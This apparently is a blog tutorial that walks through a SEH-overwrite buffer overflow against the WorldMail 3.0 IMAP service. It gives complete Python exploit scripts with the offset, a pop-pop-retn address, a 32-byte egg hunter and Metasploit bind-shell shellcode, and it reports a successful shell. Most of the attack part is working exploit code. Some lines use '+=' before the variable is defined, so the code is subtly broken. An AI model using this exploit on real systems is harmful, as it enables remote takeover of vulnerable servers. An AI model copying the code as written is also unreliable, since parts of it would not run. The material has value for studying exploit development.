Build an exploit in low space of your stack (Egg Hunter)


Sometimes if we're fuzzing an application, the application crashed and our fuzzer overwrited some register of it (the values of its register was replaced with our fuzzer) even the most dangerous is our fuzzer have overwrite the values in Instruction Pointer register (IP in 16bit or EIP in 32bit) so we have full control of it resgister which causes we can change flow of that application as we want.
Why be like that? It because EIP register was using to store a memory address (which called as offset) of command to be executed at next. What will happen if we send payload to the stack of that application and then we inserting a memory address of instruction to jump into the stack on EIP register?
Our payload will execute and it's owned. ^_^
To avoid it the developer usually using an "exception" which called as Structure Exception Handling (SEH) to protect the application.
An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an execption. A typical exception handler looks like this :
try {
    //run stuff. If an exception occurs, go to <catch> code
} catch {
    //run stuff when exception occurs
}
A quick look on the stack on how the try & catch blocks are related to each other and placed on the stack :
image
(Note : "Address of exception handler" is just one part of a SEH record – the image above is an abstract representation, merely showing the various components)

copas from corelanc0d3r, and for more information about SEH exploitation please visit : https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
So if we're fuzzing that application, our fuzzer can't direct access to the EIP register, but it will saved in SEHandler of that application.
As we knew if we want to bypass SEH protection we need overwrite the SEHandler with an offset which leads us to the instruction of assembly language POP r32, POP r32, RETN in one of DLL which loaded by application. In simple way to search some offset which leads us to the pop pop retn instruction in all dll which loaded by application we can use a plugin in Immunity Debugger which called as mona.py (this plugin was created by corelanc0d3r), we just type "!mona seh" in immunitydbg and some offset of pop pop retn instruction will showing on path log of immunitydbg. Just select one offset which you like, use it to bypass the SEH Protection.
Ok, for example you've choosing an offset of POP EBX, POP ECX, RETN instruction. Here the first pop will put the first 32bit from stack to the EBX register, and then ESP register - 4byte, the second pop will do the same instruction as the first POP instruction, and then the RETN instruction will leads us to the stack in Next SEH position and EIP register will have value the offset of Next SEH position. And if we send payload to the stack and then we inserting opcode of jump short to our shellcode in Next SEH, so our payload will execute.
Hem, a bit confusing about it (-_-") may be can illustrated like this :
the image was copas from corelan.be
Some practical of basic SEH exploit can be found here and here, let's enjoy it.
If you have a luck in your way, you will get the more space to landing your payload (the payload example is meterpreter) to the stack. But if you're not so lucky, the space in your stack is smaller than 100 byte, or even smaller than 40 byte.
So what must we do to solved that problem and make the application will execute some payload which we want?
Maybe there is some way to solved that problem,
  • If our space in the stack approximately equal to 40 byte or more than it, then we can use staged shellcode, the famous one of staged shellcode is EGG HUNTER (for more about egg hunter please visit this site).
  • If our space in bottom of the stack are smaller than 10 byte, but at the top of stack thare are the more space which allow us to landing our payload, maybe we can use "jump back" in order to access our shellcode. (there is an example how to using jump back in our fuzzer in this site)
  • Or we can find or create the smallest payload which allow us to landing it to our low space. (some example of small shellcode can be found in this site).
Ok, now we will try to exploit an application which have low space in its stack using a staged shellcode, in this case we will use an egg hunter.
Hem, here i'm try to fuzzing Eudora Qualcomm WorldMail 3.0, some way to crashing that application can be found here, and the exploit can found be here
Let's try to fuzzing the application with script python
fuzzer.py:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip  = '192.168.56.101'
port= 143
cmd     = "02 LIST "
fuzz    = "}" * 2000
buffer  = (cmd+fuzz)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send(buffer+"\r\n")
s.close()
print("Finish")
After we launch the fuzzer, the application will crash and the SEHandler was overwrited
Ok, to look at how many byte which needed to overwrite the SEHandler we will generate a pattern with pattern_create in metasploit, because the application crashed with a character "}". So we require that character in all of our fuzzer, so our fuzzer become :
#!/usr/bin/python
import socket
s   =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip  = '192.168.56.101'
port= 143
cmd     = "02 LIST "
fuzz    = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1..." # generate 1500 pattern
fuzz   += "}" * 500
buffer  = (cmd+fuzz)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send(buffer+"\r\n")
s.close()
print("Finish")
Ok, our pattern was overwrite the SEH and now we have know if we need 776 byte buffer to overwrite the SEHandler. And then we will bypass the SEHandler with instruction pop pop retn, so we must search some offset which lead us to the that instruction. With mona we just type "!mona seh" in immunitydbg and some offset which lead us to the pop pop retn instruction will showing in immunitydbg's log.
The screenshoot is just partially result from offset which lead us to the pop pop retn instruction (it generated by mona). In the selection offset of pop pop retn instruction we must avoid the nullbyte of that offset, and format of pop pop retn instruction must like "pop r32, pop r32, retn". So here i will use the offset 0x600e0336 with an instruction : pop ecx, pop ecx, retn.
Now if we're fuzzing the application again with format : [junk*776]+[seh]+[character "}" until size of all byte fuzzer = 2000], then the application will execute the pop pop retn instruction and will lead us to the stack in Next SEH position. In a normal state of exploit development, we will insert the jmp short in the Next SEH to lead us to our payload location. But now we haven't know where the bigger space in that application, so we will insert to the Next SEH an opcode off break point instruction and then our fuzzer become :
#!/usr/bin/python
import socket
s   =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip  = '192.168.56.101'
port= 143
cmd    = "02 LIST "
junk   = "\x90"*772
nseh   = "\xcc\xcc\xcc\xcc"
seh    = "\x36\x03\x0e\x60"
payload = (cmd+junk+nseh+seh)
residual= "}"*(2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send(buffer+"\r\n")
s.close()
print("Finish")
As we have seen that SEHandler was overwrite with an offset of pop pop retn instruction and the application was paused, so if we're following a flow of this stack, should we will there's in Next Seh position.
Ok now let's run the application, and what will happen?
Yes, our estimate are true. Now we are in the stack at position nseh. But now we have problem, because space of stack in this application aren't enough to landing some payload which generated by us, it just have accommodate 84 byte space. Hem, in the top of stack there are the more space for landing a payload, maybe we can do jump back to the top and then landing our shellcode there, but at this time we will try to use a staged shell code (maybe you can call it an "egg hunter").
Some description about egg hunter,
"Egg hunting is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.  In other words, first a small amount of code is executed, which then tries to find the real shellcode and executes it."
(copas from corelanc0d3r and for more information about egg hunter an how to use it, please visit this site.)
There are several kinds of egg hunter, the biggest is 60 byte, and the smallest is 32 byte. Here i'm using the 32 byte egg hunter.
Ok, now our plan can be description like :
[cmd]+w00tw00t+[nop]+[shellcode]+[junk until the value of byte = 772 byte]+[nseh]+[seh]+[nop]+[egg hunter]+[character "}" until size of all byte fuzzer = 2000]
The explanation is :
When we are fuzzing that application, the SEHandler will overwrite with offset of pop pop retn instruction and then we are returning on the stack in nseh position, at nseh we will insert jump short 6 byte "\xeb\x06\x90\x90", so it will lead us to the egg hunter, and then an egg hunter will execute and it will search the true shellcode with marked as "w00tw00t" in all of stack of that application.
And the last fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip  = '192.168.56.101'
port= 143
cmd    = "02 LIST "
nop1    = "\x90" * 16
#badchar= "0x00 0x0a 0x0d 0x20 0x2f 0x3a 0x7b"
#win32_bind -  EXITFUNC=process LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com
egg    +=("\x31\xc9\xbf\x8d\x9a\x39\x3b\xb1\x51\xdb\xc8\xd9\x74\x24\xf4\x5a"
"\x31\x7a\x0e\x83\xc2\x04\x03\xf7\x90\xdb\xce\xfb\xcf\xf0\x7c\xeb"
"\xe9\xf8\x80\x14\x69\x8c\x13\xce\x4e\x19\xae\x32\x04\x61\x34\x32"
"\x1b\x75\xbd\x8d\x03\x02\x9d\x31\x35\xff\x6b\xba\x01\x74\x6a\x52"
"\x58\x4a\xf4\x06\x1f\x8a\x73\x51\xe1\xc1\x71\x5c\x23\x3e\x7d\x65"
"\xf7\xe5\x56\xec\x12\x6e\xf9\x2a\xdc\x9a\x60\xb9\xd2\x17\xe6\xe2"
"\xf6\xa6\x13\x1f\x2b\x22\x6a\x73\x17\x28\x0c\x48\x66\x8b\xaa\xc5"
"\xca\x1b\xb8\x99\xc0\xd0\xce\x05\x74\x6d\x6e\x3d\xd8\x1a\xe1\x73"
"\xea\x36\xad\x74\x24\xa0\x1d\xec\xa1\x1e\x90\x98\x46\x12\xe6\x07"
"\xfd\x2b\xd6\xdf\x36\x3e\x2b\x24\x99\x3e\x02\x05\x90\x24\xcd\x38"
"\x4f\xae\x10\x6f\xfa\xad\xeb\x5f\x92\x68\x1a\xaa\xce\xdc\xe2\x82"
"\x42\xb0\x4f\x79\x36\x75\x23\x3e\xeb\x86\x13\xa6\x63\x68\xc8\x40"
"\x27\x03\x11\x19\xaf\xb7\xc8\x51\xf7\xef\x13\x47\x9d\x1f\xbd\x32"
"\x9d\xf0\x55\x18\xcc\xdf\x4c\x37\xf0\xf6\xdc\xe2\xf1\x27\x8a\xe9"
"\x47\x4e\x02\xa6\xa8\x98\xc5\x1c\x03\x70\x19\x4c\x38\x12\x02\x15"
"\xf9\x9a\x9b\x1a\xd3\x08\xdb\x34\xba\xd8\x47\xd2\x2b\x7e\xe5\x93"
"\x49\xea\xa5\xfa\xb8\x27\xcc\x1b\xd0\xf3\x46\x01\x14\x3c\xab\x6f"
"\xa9\xfe\x61\x91\x14\xd3\xea\xe0\xe3\x13\xa6\x51\xb8\x0c\xca\x5b"
"\x0c\xda\xd5\xd6\x37\x1c\xff\x43\xef\xb0\x51\x22\x5e\x5f\x53\x95"
"\x31\xca\x02\xea\x62\x9c\x09\xcd\x86\x93\x01\x12\x5e\x41\x59\x13"
"\x68\x69\x75\x60\xc0\x69\xf5\xb2\x8b\x6e\x2c\x68\xab\x41\xb9\xf2"
"\x8b\x80\x49\x59\xd3\x93\x51\x8d")
junk    = "\x90" * (772-len("w00tw00t"+nop1+egg))
nseh    = "\xeb\x06\x90\x90"
seh    = "\x36\x03\x0E\x60"
nop2    = "\x90" * 8
hunter +=("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
nop3 += "\x90" * 8
payload = (cmd+"w00tw00t"+nop1+egg+junk+nseh+seh+nop2+hunter+nop3)
residual= "}" * (2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send(buffer+"\r\n")
s.close()
print("Finish")
Flowing of our fuzzer at execute the egg hunter.
running the fuzzer
telnet to the opening port
BINGO!!! the exploit was successfully. Hem, so what about the jump back technique? How is way to do that?
Insya Allah in the next post we will examine the way how to do that. ^_^

2 comments:

Anonymous said...

I can only understand bits and pieces of this code. There's a few bits and pieces that I find missing. Would you be available to discuss some of this via IM or something?

metacom said...

Shinobi Noobs have multiple blogs but all the same,nothing is correctly

multiple blogs=only advertise their :))



Post a Comment